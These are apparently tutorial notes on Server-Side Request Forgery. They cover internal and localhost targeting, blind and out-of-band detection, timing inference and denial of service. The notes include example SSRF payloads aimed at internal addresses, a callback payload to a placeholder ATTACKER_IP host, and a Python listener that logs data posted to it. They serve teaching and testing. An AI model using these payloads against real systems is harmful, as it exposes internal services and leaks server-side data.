Server-Side Request Forgery happens when an application makes a server-side request using attacker-controlled input. Instead of the attacker sending the request directly, the vulnerable server sends it on their behalf. That can expose internal services, local resources, cloud metadata endpoints, sensitive files, or hidden admin panels, and in some cases can also be abused for denial of service. These notes cover the SSRF mental model, local and internal targeting, blind SSRF, out-of-band confirmation, and mitigation.
Many applications fetch remote resources such as images, web pages, APIs, analytics endpoints, or import feeds. SSRF appears when the URL, host, or path used for that server-side request is influenced by untrusted input.
The attacker is effectively borrowing the application's network position and trust relationships.
SSRF often appears in features that sound harmless:
The simplest case is targeting the same host that runs the web application. If the application accepts a URL parameter and fetches from it, values such as localhost or 127.0.0.1 may expose internal-only paths.
Example pattern:
http://target/?url=localhost/copyright
If the application trusts that parameter and reads local content based on it, changing the path can expose sensitive files or internal endpoints:
http://target/?url=localhost/config
The important testing idea is simple: if the application is already using localhost, it is already doing server-side fetching, and weak validation may let you repoint the request.
More valuable SSRF usually targets systems that are not publicly routable, such as internal admin panels, management interfaces, or microservices on RFC1918 space.
Examples of interesting targets:
127.0.0.1 and localhost,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,admin.internal or app-specific backend names.If the front-end server can reach an internal admin interface that you cannot, SSRF can bridge that gap.
A common pattern is a dropdown, hidden field, or API parameter that already points to a backend URL. If you can tamper with that value in the browser or intercepted request, you may be able to swap the intended endpoint for a more sensitive one.
Example idea:
http://192.168.2.10/salary.php
becomes
http://192.168.2.10/admin.php
If the application then fetches and renders the new value server-side, you can gain access to internal functionality that was never meant to be exposed externally.
Blind SSRF happens when the server makes the request but does not return the response content to you. That does not make the issue harmless. It only changes how you confirm and exploit it.
In blind cases, you look for side effects:
Out-of-band SSRF is often the easiest way to confirm a blind issue. Instead of expecting the application to show you the fetched content, you make it call infrastructure you control.
Typical proof-of-interaction payload:
http://target/profile.php?url=http://ATTACKER_IP:8080
If your listener receives the request, the SSRF is confirmed. If the application posts server-side data to your listener, the issue can become far more serious than a simple callback.
A minimal Python listener for local lab work can capture incoming POST data:
from http.server import SimpleHTTPRequestHandler, HTTPServer
class CustomRequestHandler(SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
self.send_response(200)
self.end_headers()
with open('data.html', 'a') as file:
file.write(post_data + '\n')
When you cannot see the response and do not have an out-of-band channel, timing can still help. If some destinations answer quickly and others cause a noticeable delay, the application may be attempting the request server-side.
This is useful for inferring:
SSRF is not limited to data access. If the application fetches attacker-chosen resources without size limits or timeouts, you may be able to force it to retrieve huge files, slow streams, or recursive content until it consumes too much memory or CPU.
Common weak patterns:
127.0.0.1 and localhost.curl, file_get_contents(), backend HTTP clients, or image download functions using user input.